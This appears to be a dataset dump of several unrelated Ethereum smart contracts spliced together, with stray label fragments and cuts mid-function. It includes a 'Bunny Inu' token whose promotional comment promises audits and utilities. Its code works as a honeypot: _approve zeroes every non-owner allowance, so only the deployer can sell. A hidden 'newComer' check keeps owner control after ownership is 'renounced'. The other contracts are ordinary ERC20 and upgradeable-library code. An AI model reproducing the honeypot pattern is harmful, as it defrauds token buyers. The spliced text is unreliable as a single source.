mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-27
*/
/*
Bunny Inu is the CUTEST new animal token ready to hop and make history to the DeFi Zoo!
Bunny Inu ($BUNNY) is being carefully constructed by a team with over two years of experience, meaning they know what it takes to make a token absolutely MOON!
Coming soon to Uniswap, boasting POWERFUL utilities including:
🐰 BunnySwap! The cutest new way to trade your ERC-20 tokens!
🐰 CarrotFarms! A hot new way to make your income multiply like Bunnies!
🐰 NFTs! Cute AND collectible!
🐰 P2E Bunny Inu game!
🐰 Certik audit! Know your Bunny is SAFE!
🐰 And MUCH more we can't talk about yet!
So what are you waiting for? HOP UP!
💬: https://t.me/BunnyInu
🐦: https://twitter.com/BunnyInu_Eth
💻: https://bunnyinu.io/
📖: https://www.facebook.com/Bunny-Inu-103182288891538/
🛑: https://new.reddit.com/user/bunnyinu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract bunny is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Bunny Inu ' ;
string private _symbol = 'BUNNY';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.12 <0.7.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns true if the index has been marked claimed.
